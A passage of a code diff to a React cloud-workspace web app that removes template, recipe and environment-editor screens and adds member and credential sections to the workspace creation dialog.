useState(false); const [createWorkspaceError, setCreateWorkspaceError] = useState(null); const [confirmation, setConfirmation] = useState(null); @@ -381,18 +304,6 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { }, [api]); const listMachineTypes = useCallback(() => api.listMachineTypes(), [api]); const listVolumes = useCallback(() => api.listVolumes(), [api]); - // Every template load also refreshes which template is the org default, so - // the create dialog can preselect it (its own load runs through here). - const [orgDefaultTemplateId, setOrgDefaultTemplateId] = useState(null); - const listTemplates = useCallback( - () => client.listWorkspaceTemplates().then(({ templates }) => { - setOrgDefaultTemplateId( - templates.find(({ isOrgDefault }) => isOrgDefault)?.id ?? null, - ); - return templates; - }), - [client], - ); const refreshWorkspaceRecords = useCallback(async () => { try { const records = await api.listWorkspaces(); @@ -845,12 +756,8 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { (input: CreateWorkspaceDialogInput) => adoptCreatedWorkspace(() => api.createWorkspace(input)), [adoptCreatedWorkspace, api], ); - // The launch failure (for example the vm-limit 409) surfaces through the - // same notice the create dialog uses, with the control plane's message. - const launchRecipe = useCallback( - (recipeId: string) => adoptCreatedWorkspace(() => api.launchRecipe(recipeId)), - [adoptCreatedWorkspace, api], - ); + // A recipe launch has no caller while the recipes surface is disabled; the + // adapter keeps `launchRecipe`, so restoring the surface restores the flow. const setSidePaneWidth = useCallback((width: number) => { setWorkspaceFiles((current) => current.workspaceId === activeWorkspaceId @@ -866,6 +773,19 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { }); }, [activeWorkspaceId, setWorkspaceTabs]); + /** The strip's surface icons focus a panel. They open, they never close: + * the right icon strip owns the toggle. */ + const openWorkspacePanel = useCallback((panel: WorkspaceDrawerSegment) => { + if (!activeWorkspaceId) return; + updateWorkspaceTabs((tabs) => showPanelTab(tabs, panel)); + if (mobileWebApp) { + setDrawerOpen(false); + setFilesDrawerOpen(true); + return; + } + setFocusedRegion('side'); + }, [activeWorkspaceId, mobileWebApp, updateWorkspaceTabs]); + const toggleFiles = useCallback(() => { if (!activeWorkspaceId) return; if (mobileWebApp) { @@ -929,12 +849,10 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { if (!confirmation) return; const request = confirmation; setConfirmation(null); - setDetailsWorkspaceId((current) => current === request.workspaceId ? null : current); + setDetails((current) => current?.workspaceId === request.workspaceId ? null : current); deleteWorkspace(request.workspaceId); }, [confirmation, deleteWorkspace]); - const isSettingsRoute = route.page === 'settings'; - const dispatchTerminalKeyboard = () => { window.dispatchEvent(new CustomEvent(TERMINAL_KEYBOARD_EVENT)); }; @@ -1270,7 +1188,6 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { ? `workspace ${activeWorkspace.lifecycleStatus}` : 'workspace pending'; const hasControllableWorkspace = store.workspaces.some(({ canControl }) => canControl); - const isDriveRoute = route.page === 'drive' || route.page === 'folder'; const webAppBooting = route.page === 'webApp' && ( !loaded || (hasControllableWorkspace && !activeWorkspace) ); @@ -1447,127 +1364,82 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { ); - const railFor = (nav: DriveRailNav | null, railActiveWorkspaceId: string | null) => ( - ( + org) ?? []} + activeWorkspace={activeWorkspace} + showRail={railActiveWorkspaceId !== null || (mobileWebApp && activeWorkspace !== undefined)} sessions={railActiveWorkspaceId !== null && railActiveWorkspaceId === activeWorkspaceId ? railSessions : []} activeSessionId={railActiveSessionId ?? ''} - onSelectSession={selectTtydSession} - onOpenDrive={() => navigateTo(drivePath())} - onOpenTemplates={() => navigateTo(templatesPath())} - onOpenRecipes={() => navigateTo(recipesPath())} + openPanels={openPanels} + pendingRequestCount={activePendingRequests.length} + drawerOpen={drawerOpen} onSelectWorkspace={selectWorkspace} onCreateWorkspace={() => setShowCreateWorkspace(true)} + onOpenPanel={openWorkspacePanel} onSwitchOrg={(orgId) => { void client.switchOrg(orgId).then(() => window.location.reload()); }} onCreateOrg={() => setShowCreateOrg(true)} + onOpenDrive={() => navigateTo(drivePath())} onOpenSettings={() => navigateToSettings('profile')} - onOpenWorkspaceShare={(workspaceId) => setShareWorkspaceId(workspaceId)} + onSelectSession={selectTtydSession} + onSpawnSession={spawnTtydSession} + onOpenWorkspaceMembers={(workspaceId) => { + if (mobileWebApp) setDrawerOpen(false); + setDetails({ workspaceId, tab: 'members' }); + }} onOpenWorkspaceDetails={(workspaceId) => { if (mobileWebApp) setDrawerOpen(false); - setDetailsWorkspaceId(workspaceId); + setDetails({ workspaceId, tab: 'members' }); }} - drawerOpen={drawerOpen} onCloseDrawer={() => setDrawerOpen(false)} /> ); - const createWorkspaceDialog = showCreateWorkspace && ( - { - setShowCreateWorkspace(false); - navigateTo(templateNewPath()); - }} - onCancel={() => { - if (!createWorkspaceBusy) setShowCreateWorkspace(false); - }} - onSubmit={(input) => { void createWorkspace(input); }} - /> - ); - const deleteWorkspaceDialog = confirmation && ( - - ); - const shareWorkspaceDialog = shareWorkspaceId && (() => { - const workspace = store.workspaces.find(({ id }) => id === shareWorkspaceId); - return workspace ? ( - setShareWorkspaceId(null)} - /> - ) : null; - })(); - const createOrgDialog = showCreateOrg && ( - { + viewer={store.viewer} + workspaces={store.workspaces} + showCreateOrg={showCreateOrg} + onCreateOrg={async (name) => { await api.createOrg(name); // POST /orgs rebinds the session to the org it just made, so the // reload lands inside it, exactly as switching does. window.location.reload(); }} - onCancel={() => setShowCreateOrg(false)} + onCloseCreateOrg={() => setShowCreateOrg(false)} + showCreateWorkspace={showCreateWorkspace} + createWorkspaceBusy={createWorkspaceBusy} + createWorkspaceError={createWorkspaceError} + listMachineTypes={listMachineTypes} + listVolumes={listVolumes} + cloneFromWorkspaceId={cloneFromWorkspaceId} + onCancelCreateWorkspace={() => { + if (createWorkspaceBusy) return; + setShowCreateWorkspace(false); + setCloneFromWorkspaceId(null); + }} + onCreateWorkspace={(input) => { void createWorkspace(input); }} + details={details} + onCloseDetails={() => setDetails(null)} + onCloneWorkspace={(workspaceId) => { + // "New workspace from existing" IS the template now (§0): the create + // dialog opens carrying the source, and the server copies its config. + setDetails(null); + setCloneFromWorkspaceId(workspaceId); + setShowCreateWorkspace(true); + }} + onRequestDeleteWorkspace={requestDeleteWorkspace} + confirmation={confirmation} + onCancelConfirmation={cancelConfirmation} + onConfirmDelete={confirmWebAppAction} /> ); - const workspaceDetailsDialog = detailsWorkspaceId && (() => { - const workspace = store.workspaces.find(({ id }) => id === detailsWorkspaceId); - const canManage = workspace?.accessRole === 'owner' || workspace?.accessRole === 'admin'; - return workspace?.canControl ? ( - setDetailsWorkspaceId(null)} - onDelete={canManage - ? () => requestDeleteWorkspace(workspace.id) - : null} - /> - ) : null; - })(); - const railOverlays = ( - <> - {createOrgDialog} - {createWorkspaceDialog} - {shareWorkspaceDialog} - {workspaceDetailsDialog} - {deleteWorkspaceDialog} - - ); if (signedOut) { return ; @@ -1586,159 +1458,27 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { ); } - if (isDriveRoute && (route.page === 'drive' || route.page === 'folder')) { - return ( -
- {railFor('drive', null)} - {loaded && store.viewer ? ( - setDrawerOpen(true)} - /> - ) : ( -
-
Loading…
-
- )} - {error &&
{error}
} - {updateNotice} - {railOverlays} -
- ); - } - - if (route.page === 'templates') { - return ( -
- {railFor('templates', null)} - {loaded && store.viewer ? ( - navigateTo(templateNewPath())} - onEditTemplate={(template) => navigateTo(templateEditPath(template.id))} - onUseTemplate={(template) => { - void createWorkspace({ templateId: template.id, orgShareRole: 'editor' }); - }} - onOpenRail={() => setDrawerOpen(true)} - /> - ) : ( -
-
Loading…
-
- )} - {createWorkspaceError &&
{createWorkspaceError}
} - {error &&
{error}
} - {updateNotice} - {railOverlays} -
- ); - } - - if (route.page === 'recipes') { - return ( -
- {railFor('recipes', null)} - {loaded && store.viewer ? ( - navigateTo(recipeNewPath())} - onEditRecipe={(recipe) => navigateTo(recipeEditPath(recipe.id))} - onRunRecipe={(recipe) => { void launchRecipe(recipe.id); }} - onOpenRail={() => setDrawerOpen(true)} - /> - ) : ( -
-
Loading…
-
- )} - {createWorkspaceError &&
{createWorkspaceError}
} - {error &&
{error}
} - {updateNotice} - {railOverlays} -
- ); - } - - if (route.page === 'recipe-new' || route.page === 'recipe-edit') { - const leaveToRecipes = () => navigateTo(recipesPath()); - return ( -
- {railFor('recipes', null)} - {loaded && store.viewer ? ( - - ) : ( -
-
Loading…
-
- )} - {error &&
{error}
} - {railOverlays} -
- ); - } - - if (route.page === 'template-new' || route.page === 'template-edit') { - const leaveToTemplates = () => navigateTo(templatesPath()); + if (isSecondaryRoute(route)) { return ( -
- {railFor('templates', null)} - {loaded && store.viewer ? ( - - ) : ( -
-
Loading…
-
- )} - {error &&
{error}
} - {railOverlays} -
- ); - } - - if (isSettingsRoute) { - return ( -
- - {loaded && store.viewer ? ( - window.location.reload()} - /> - ) : ( -
- Loading settings… -
- )} - {error &&
{error}
} - {updateNotice} -
+ setError(null)} + onNavigate={navigateTo} + onOpenRail={() => setDrawerOpen(true)} + onNavigateToSettings={navigateToSettings} + onOpenWorkspace={navigateToWorkspacePage} + onLeaveSettings={returnToWebApp} + onSignOut={signOut} + onLeftOrg={() => window.location.reload()} + activeWorkspaceTitle={activeWorkspace?.title} + /> ); } @@ -1792,7 +1532,7 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { {dropBusy ? 'Uploading…' : 'Drop to upload into this workspace'} )} - {railFor(null, activeWorkspaceId)} + {shellNav(activeWorkspaceId)} {railOverlays}
@@ -1807,213 +1547,87 @@ export default function CloudApp({ client, resolver }: CloudAppProps) {
)} -
1 ? ' webapp-panes--split' : ''}`} - ref={panesRef} - data-resizing={paneResizing || undefined} - style={ - // SAFETY: React accepts CSS custom properties at runtime; CSSProperties omits arbitrary `--*` keys from its static surface. - { '--side-pane-width': `${activeFiles.width}px` } as CSSProperties - } - onDragOver={(event) => { + { + setFilesDrawerOpen(false); + setDrawerOpen(true); + }} + onSelectSession={selectTtydSession} + onCloseSession={closeTtydSession} + onRenameSession={renameTtydSession} + onSpawnSession={spawnTtydSession} + onTabDragStart={beginTabDrag} + onTabDragEnd={clearTabDrag} + onTabDragOver={(event) => { if (tabDrag === null) return; event.preventDefault(); if (event.dataTransfer) event.dataTransfer.dropEffect = 'move'; trackTabDrag(event); }} - onDrop={dropTabDrag} - > - {visibleRegions.map((region) => ( -
- { - setFilesDrawerOpen(false); - setDrawerOpen(true); - }} - onSelect={selectTtydSession} - onClose={closeTtydSession} - onRename={canEditWorkspaceLayout ? renameTtydSession : undefined} - onSpawn={spawnTtydSession} - onTabDragStart={splitEnabled ? beginTabDrag : undefined} - onTabDragEnd={clearTabDrag} - draggingSessionId={tabDrag?.sessionId ?? null} - insertBeforeId={tabDrag !== null - && tabDrag.target.kind === 'tab' - && tabDrag.target.region === region - ? tabDrag.target.beforeId === null - ? null - : String(tabDrag.target.beforeId) - : undefined} - livePorts={orderedLivePorts} - previewLinks={orderedPreviewLinks} - onOpenPreview={openPreviewPort} - onOpenPreviewLink={openPreviewLink} - /> -
- ))} - {visibleRegions.map((region) => { - const fallback = paneFallback(region); - return fallback === null ? null : ( -
{fallback}
- ); - })} - {renderedSessions.map((session) => { - const sessionId = String(session.id); - const region = surfaceRegion(session); - const active = paneActiveId(region) === sessionId; - if (session.type === 'panel') { - return ( - - ); - } - if (session.type === 'preview') { - return ( - - ); - } - if (session.type === 'file') { - return ( - - ); - } - if (session.type === 'chat') { - return null; - } - return ( - - ); - })} - {visibleRegions.length > 1 && ( -
) => { - if (event.button !== 0) return; - event.preventDefault(); - endPaneResize.current?.(); - const origin = { x: event.clientX, width: activeFiles.width }; - const move = (moveEvent: MouseEvent) => { - setSidePaneWidth(clampDrawerWidth( - origin.width + origin.x - moveEvent.clientX, - window.innerWidth, - )); - }; - const stop = () => endPaneResize.current?.(); - window.addEventListener('mousemove', move); - window.addEventListener('mouseup', stop); - window.addEventListener('blur', stop); - endPaneResize.current = () => { - window.removeEventListener('mousemove', move); - window.removeEventListener('mouseup', stop); - window.removeEventListener('blur', stop); - endPaneResize.current = null; - setPaneResizing(false); - }; - setPaneResizing(true); - }} - /> - )} - {tabDrag !== null && ( - + onTabDrop={dropTabDrag} + onOpenPreview={openPreviewPort} + onOpenPreviewLink={openPreviewLink} + onResolveRequest={resolveWorkspaceRequest} + onFileDirtyChange={updateFileDirty} + onFilesRefresh={() => setFilesRefreshVersion((version) => version + 1)} + onUnauthorized={handleUnauthorized} + onSignInUrl={setTerminalSignInUrl} + onBeginPaneResize={(event: ReactMouseEvent) => { + if (event.button !== 0) return; + event.preventDefault(); + endPaneResize.current?.(); + const origin = { x: event.clientX, width: activeFiles.width }; + const move = (moveEvent: MouseEvent) => { + setSidePaneWidth(clampDrawerWidth( + origin.width + origin.x - moveEvent.clientX, + window.innerWidth, + )); + }; + const stop = () => endPaneResize.current?.(); + window.addEventListener('mousemove', move); + window.addEventListener('mouseup', stop); + window.addEventListener('blur', stop); + endPaneResize.current = () => { + window.removeEventListener('mousemove', move); + window.removeEventListener('mouseup', stop); + window.removeEventListener('blur', stop); + endPaneResize.current = null; + setPaneResizing(false); + }; + setPaneResizing(true); + }} + /> {mobileWebApp && activeWorkspace && (
- {(error || loadError) && ( + {(error ?? loadError) !== null && (

{error ?? loadError}

)} - -
-
-

Templates

-

Start from a shared setup. Its machine type and Drive folders come attached.

-
-
- {/* The dialog opens on the org default. Before this tile the only - * way to a blank workspace was a second click on that default. - * Nobody could see that, so the choice gets a tile of its own. */} - - {templates.map((template) => { - const missing = template.folders.filter(({ role }) => role === null).length; - const active = template.id === selectedTemplateId; - return ( - - ); - })} - + {!admin && ( + // Told up front rather than after the server's 403: creating a + // workspace is an org-admin power for now (§3). +
+

+ Only an admin at {orgName} can create a workspace. +

-
- - {selectedTemplate !== null && ( -
-
-

{selectedTemplate.name}

-

- {machineTypeLabel(selectedTemplate.machineTypeId)} - {' · shared with everyone at '}{orgName} - {' · the workspace is named after the template'} -

-
- {selectedTemplate.folders.length > 0 && ( -
    - {selectedTemplate.folders.map((folder) => ( -
  • - {folder.name} - {folder.role === null ? ' — no access yet, will not sync' : ''} -
  • - ))} -
- )} - {selectedTemplate.connections.length > 0 && ( -
    - {/* Names only: connecting happens inside the workspace, - * from its connections panel, after create. */} - {selectedTemplate.connections.map((connection) => ( -
  • - {connection.provider} - {' · connect from the workspace connections panel'} -
  • - ))} -
- )} - {requiresGithubGrant && githubGrantCheck.kind === 'checking' && ( -

Checking your GitHub connection…

- )} - {requiresGithubGrant && githubGrantCheck.kind === 'missing' && ( -
-

This template includes private repositories. Connect GitHub before create.

- - Connect GitHub - -
- )} - {requiresGithubGrant && githubGrantCheck.kind === 'failed' && ( -
-

- {githubGrantCheck.message} -

- -
- )} -
)} - {selectedTemplate === null &&
+

Name

Optional. Leave blank to get a random name.

@@ -423,12 +250,15 @@ export function CreateWorkspaceDialog({ spellCheck={false} /> -
} +
- {selectedTemplate === null &&
+
-

Machine type

-

Select the compute location and size for this workspace.

+

Default machine type

+

+ What a member's machine is unless their row names another one. + A machine type is never a restriction on this workspace. +

{loading ? ( @@ -468,9 +298,83 @@ export function CreateWorkspaceDialog({ ) : null} )} -
} +
- {selectedTemplate === null &&
+
+
+

Members

+

+ Existing members of {orgName}. Each one gets their own machine + the moment the workspace exists; a viewer gets none. +

+
+ +
+ +
+
+

Credentials

+

+ Names and values every member machine reads with{' '} + blitz-cred. This is the only time a value is sent; + it never comes back out. +

+
+ {credentials.map((credential, index) => ( + // The index is the identity here: two blank rows are two rows, + // and a name is editable, so neither can key the list. + // eslint-disable-next-line react/no-array-index-key +
+ updateCredential(index, { name: event.currentTarget.value })} + /> + updateCredential(index, { label: event.currentTarget.value })} + /> + updateCredential(index, { value: event.currentTarget.value })} + /> + +
+ ))} + +
+ +

Volume

Optionally attach an available volume.

@@ -489,12 +393,11 @@ export function CreateWorkspaceDialog({ Volumes are not supported by this machine provider. )} -
} +
- {/* Only without a template. A template already carries a repository - * list, and the two sources never mix — showing both would invite a - * body the control plane refuses with a 400. */} - {selectedTemplate === null &&
+ {/* A clone already carries its source's repository list, and the two + * sources never mix — a body naming both is refused with a 400. */} + {cloneFromWorkspaceId === null &&

Repositories

GitHub repositories cloned into /workspace when this workspace starts.

@@ -508,22 +411,7 @@ export function CreateWorkspaceDialog({ />
} - {selectedTemplate === null &&
-
-

Sharing

-

Who at {orgName} can open this workspace. You can change it later.

-
- -
} - - {selectedTemplate === null &&
+

SSH public key (optional)

Optional. Without a key the workspace is webapp-only. Recreate the workspace to add one later.

@@ -535,16 +423,11 @@ export function CreateWorkspaceDialog({ autoCorrect="off" spellCheck={false} /> -
} +
Advanced
- - {busy ? 'Creating…' : selectedTemplate === null ? 'Create workspace' : `Create from ${selectedTemplate.name}`} + {busy ? 'Creating…' : 'Create workspace'} diff --git a/packages/webapp/src/EnvironmentEditor.tsx b/packages/webapp/src/EnvironmentEditor.tsx deleted file mode 100644 index 176c3670..00000000 --- a/packages/webapp/src/EnvironmentEditor.tsx +++ /dev/null @@ -1,133 +0,0 @@ -import type { WorkspaceEnvironment } from '@blitzos/schema'; -import { useRef, useState } from 'react'; - -interface EnvironmentRow { - id: number; - name: string; - value: string; -} - -export const EMPTY_WORKSPACE_ENVIRONMENT: WorkspaceEnvironment = { - env: {}, - startupScript: null, -}; - -export function populatedEnvironment( - environment: WorkspaceEnvironment, -): WorkspaceEnvironment | undefined { - return Object.keys(environment.env).length > 0 || environment.startupScript !== null - ? environment - : undefined; -} - -export function EnvironmentEditor({ - initial, - onChange, -}: { - initial: WorkspaceEnvironment; - onChange: (environment: WorkspaceEnvironment) => void; -}) { - const initialRows = Object.entries(initial.env).map(([name, value], id) => ({ - id, - name, - value, - })); - const [rows, setRows] = useState(initialRows.length > 0 - ? initialRows - : [{ id: 0, name: '', value: '' }]); - const [startupScript, setStartupScript] = useState(initial.startupScript ?? ''); - const nextId = useRef(rows.length); - - const publish = (nextRows: EnvironmentRow[], script: string) => { - onChange({ - env: Object.fromEntries(nextRows - .filter(({ name }) => name !== '') - .map(({ name, value }) => [name, value])), - startupScript: script === '' ? null : script, - }); - }; - - const updateRow = (id: number, field: 'name' | 'value', value: string) => { - const next = rows.map((row) => row.id === id ? { ...row, [field]: value } : row); - setRows(next); - publish(next, startupScript); - }; - - const removeRow = (id: number) => { - const next = rows.filter((row) => row.id !== id); - const retained = next.length > 0 ? next : [{ id: nextId.current++, name: '', value: '' }]; - setRows(retained); - publish(retained, startupScript); - }; - - // The Advanced
shell lives in the create screens, so this editor - // and AgentRulesPicker sit inside one collapsed section rather than two. - return ( - <> -
-

Environment variables

-

Config only — not for secrets. Use integrations for secrets.

-
-
- {rows.map((row, index) => ( -
- updateRow(row.id, 'name', event.currentTarget.value)} - /> - updateRow(row.id, 'value', event.currentTarget.value)} - /> - -
- ))} -
- -